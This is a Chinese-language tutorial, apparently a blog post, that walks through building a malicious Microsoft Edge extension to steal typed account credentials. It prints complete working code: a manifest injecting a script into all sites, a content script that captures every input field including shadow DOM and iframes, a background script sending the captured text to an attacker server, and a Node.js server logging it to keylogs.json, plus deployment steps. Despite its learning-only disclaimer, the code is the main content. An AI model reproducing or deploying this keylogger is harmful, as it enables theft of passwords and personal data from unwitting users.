利用Edge浏览器扩展获取账号密码等敏感性信息

免责声明:本文所涉及的技术仅供学习和参考,严禁使用本文内容从事违法行为和未授权行为,如因个人原因造成不良后果,均由使用者本人负责,作者及本博客不承担任何责任。

前言

edge扩展作为edge浏览器丰富功能,增强浏览器功能扩展性的一个重要功能,不规范的配置和管理可能会造成严重的安全风险。恶意黑客利用钓鱼引导、后门植入等方式,制作和安装恶意扩展文件到edge浏览器中,从而造成信息泄露、凭证窃取、代码执行等风险。虽然Manifest V3版本已经移除了大量高危API和风险函数,但仍可以通过一定方式窃取到用户信息账户密码等。

扩展制作

edge扩展主要由核心文件、后台脚本、页面组件、资源文件等内容组成,想要制作恶意扩展文件,只需要保留核心文件、后台脚本即可。

现在我们开始编写扩展程序

核心文件 manifest.json

json 复制代码
{
    "manifest_version": 3,
    "name": "Browser Helper",
    "version": "1.0",
    "description": "test",
    "permissions": [
      "activeTab",
      "storage",
      "webRequest",
      "webNavigation"
    ],
    "host_permissions": [
      "http://192.168.80.128:8765/*"
    ],
    "background": {
      "service_worker": "background.js"
    },
    "content_scripts": [
      {
        "matches": ["<all_urls>"],
        "js": ["content.js"],
        "run_at": "document_end"
      }
    ]
  }

我们来解释一下代码的主要核心内容,permissions是扩展在edge中的权限声明,我们需要用到的权限都需要在这进行声明。
activeTab用于临时获取当前激活(用户正在浏览)的标签页的控制权。
storage允许扩展使用 chrome.storage API 存储和读取数据。
webRequest拦截、修改或阻止网络请求。
webNavigation监听浏览器导航事件。
host_permissions下需要填写需要访问的特定主机或 URL 模式,当然这里直接换成"host_permissions": ["<all_urls>"]就是允许所有主机了。
"service_worker": "background.js"定义扩展的后台逻辑文件,这里是直接使用background.js作为后台逻辑文件。
"js": ["content.js"]向网页注入content.js脚本,后续获取用户输入信息有着巨大作用。

后台脚本 background.js

JavaScript 复制代码
const ATTACKER_SERVER = 'http://192.168.80.128:8765/log';
 
let isConnected = false;
 
function testConnection() {
  return fetch(ATTACKER_SERVER, {
    method: 'HEAD'
  }).then(() => {
    isConnected = true;
    return true;
  }).catch(() => {
    isConnected = false;
    return false;
  });
}
 
function sendData(data) {
  return fetch(ATTACKER_SERVER, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify(data)
  }).catch(e => {
    console.error('发送失败:', e);
    isConnected = false;
  });
}
 
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
  if (message.type === 'input_log') {
    if (isConnected) {
      sendData(message.data);
    } else {
      testConnection().then(connected => {
        if (connected) {
          sendData(message.data);
        }
      });
    }
  }
});
 
setInterval(testConnection, 30000);

ATTACKER_SERVER填写攻击者的IP即可。
background.js用于定期检测与攻击者IP的连接状态,并在连接可用时将接收到的输入数据发送到该攻击者IP。

注入页面脚本 content.js

JavaScript 复制代码
function debounce(func, delay) {
    let timer = null;
    return function (...args) {
      if (timer) clearTimeout(timer);
      timer = setTimeout(() => {
        func.apply(this, args);
      }, delay);
    };
  }
  
  const handleInput = debounce(function (e) {
    const target = e.target;
    
    if (target.matches("input, textarea, [contenteditable='true']")) {
      const value = target.value || target.innerText;
      
      const data = {
        url: window.location.href,
        input: value,
        elementType: target.tagName,
        timestamp: new Date().toISOString(),
      };
      console.log("捕获输入:", data);
      chrome?.runtime?.sendMessage?.({ type: "input_log", data: data });
    }
  }, 300); // 防抖 300ms
  
  function bindInputEvents(root = document) {
    // 普通 input/textarea
    root.querySelectorAll("input, textarea").forEach((input) => {
      input.addEventListener("input", handleInput);
      input.addEventListener("change", handleInput);
    });
  
    root.querySelectorAll("[contenteditable='true']").forEach((el) => {
      el.addEventListener("keyup", handleInput);
    });
  }
  
  function penetrateShadowDOM(root = document) {
    root.querySelectorAll("*").forEach((element) => {
      if (element.shadowRoot) {
        bindInputEvents(element.shadowRoot);
        penetrateShadowDOM(element.shadowRoot);
      }
    });
  }
  
  function observeIframes() {
    document.querySelectorAll("iframe").forEach((iframe) => {
      try {
        if (iframe.contentDocument) {
          bindInputEvents(iframe.contentDocument);
          penetrateShadowDOM(iframe.contentDocument);
        }
      } catch (e) {
        console.warn("跨域 iframe 无法监听:", e);
      }
    });
  }
  
  const observer = new MutationObserver((mutations) => {
    bindInputEvents();
    penetrateShadowDOM();
    observeIframes();
  });
  
  observer.observe(document.documentElement, {
    childList: true,
    subtree: true,
  });
  
  bindInputEvents();
  penetrateShadowDOM();
  observeIframes();
 
  const observeInputValues = () => {
    document.querySelectorAll("input, textarea").forEach((input) => {
      let lastValue = input.value;
      const valueObserver = new MutationObserver(() => {
        if (input.value !== lastValue) {
          lastValue = input.value;
          handleInput({ target: input });
        }
      });
      valueObserver.observe(input, {
        attributes: true,
        attributeFilter: ["value"],
      });
    });
  };
  
  setTimeout(observeInputValues, 5000);

该脚本监听网页中的所有输入框,然后将数据发送到后台。

JavaScript 复制代码
  const handleInput = debounce(function (e) {
    const target = e.target;
    
    if (target.matches("input, textarea, [contenteditable='true']")) {
      const value = target.value || target.innerText;
      
      const data = {
        url: window.location.href,
        input: value,
        elementType: target.tagName,
        timestamp: new Date().toISOString(),
      };
      console.log("捕获输入:", data);
      chrome?.runtime?.sendMessage?.({ type: "input_log", data: data });
    }
  }, 300); // 防抖 300ms

这里设置了防抖300ms,是基于用户输入习惯进行设置的,正常用户输入一串信息是连续的,如果需要切换到其他输入框,需要一定的时间,如果不设置防抖,输入内容会一个字母一个字母返回,很影响查看。

攻击者脚本 server.js

扩展程序写完了,我们现在还需要创建接收信息的脚本,这里直接使用了node.js的脚本直接运行,实战中可以换成其他语言。

JavaScript 复制代码
import express from 'express';
import cors from 'cors';
import fs from 'fs';
import path from 'path';
 
const app = express();
const PORT = 8765;
const LOG_FILE = 'keylogs.json';
 
app.use(cors());
app.use(express.json());
 
let logs = [];
 
try {
  const data = fs.readFileSync(LOG_FILE, 'utf8');
  logs = JSON.parse(data);
} catch (err) {
  if (err.code !== 'ENOENT') {
    console.error('读取日志文件错误:', err);
  }
}
 
app.post('/log', (req, res) => {
  const logData = req.body;
  logData.receivedAt = new Date().toISOString();
  logs.push(logData);
 
  fs.writeFile(LOG_FILE, JSON.stringify(logs, null, 2), (err) => {
    if (err) {
      console.error('写入日志文件错误:', err);
    }
  });
 
  console.log('收到日志:', logData);
  res.status(200).send('日志已接收');
});
 
app.head('/log', (req, res) => {
  res.status(200).end();
});
 
app.get('/logs', (req, res) => {
  res.json(logs);
});
 
app.listen(PORT, '0.0.0.0', () => {
  console.log(`攻击者服务器运行在 http://192.168.80.128:${PORT}`);
  console.log('等待扩展连接...');
});

实战过程

我们现在已经写好了恶意扩展的代码,现在我们需要将他运用于实际中。

1、先创建一个文件夹

2、将扩展程序代码文件放入文件夹内

3、打开edge浏览器,进入扩展页面,打开开发者模式,点击加载解压缩的扩展

4、选择刚才放扩展代码的文件夹

5、像这样显示就是导入成功了

6、使用node.js运行攻击者脚本

7、我们找到一个需要登录的网站测试,输入账户密码

8、可以看到脚本已经将用户输入的账户密码信息给传递过来了

总结

该方法可以通过恶意的edge扩展获取到用户的敏感信息和操作,从而造成信息泄露甚至丢失系统权限。目前只是提供一个思路,面对那种对账号密码信息安全严密性高的网站上述代码可能不太能获取得到信息,具体的绕过思路还没有找到,不过目前已经足以应对大部分场景了。

相关推荐
墨云安全13 小时前
系统安全检测方案怎么写?从资产清点到复测闭环的技术框架
安全·网络安全·渗透测试·系统安全
文章永久免费只为良心4 天前
Ctfshow_Web应用安全与防护_第二章_无字母数字命令执行
前端·python·安全·网络安全·渗透测试·ctf·红队渗透测试
墨云安全6 天前
AI 漏洞挖掘平台怎么评估?2026 年技术架构与选型要点
网络·人工智能·网络安全·架构·渗透测试
墨云安全6 天前
自动化渗透测试工具有哪些?2026 年引擎原理、任务编排与误报抑制实践
git·测试工具·网络安全·渗透测试·自动化
墨云安全6 天前
自动化安全测试工具的技术架构、集成方式与任务编排(2026 年实践)
人工智能·网络安全·渗透测试
墨云安全7 天前
AI 渗透测试是怎么实现的?2026 年大模型驱动测试用例生成的工程拆解
网络·人工智能·网络安全·渗透测试·测试用例
墨云安全7 天前
内网资产无法暴露到公网,怎么做安全检测?2026 年内网渗透测试的落地路径
开发语言·安全·网络安全·渗透测试·php
墨云安全10 天前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
白猫不黑14 天前
AI自动化漏洞挖掘从入门到进阶超详细学习路线
人工智能·学习·web安全·网络安全·信息安全·渗透测试·自动化
Eason_LYC18 天前
一个公开密钥放倒一片:Apache Shiro RememberMe 反序列化漏洞
java·网络安全·渗透测试·shiro·漏洞复现·反序列化·ai安全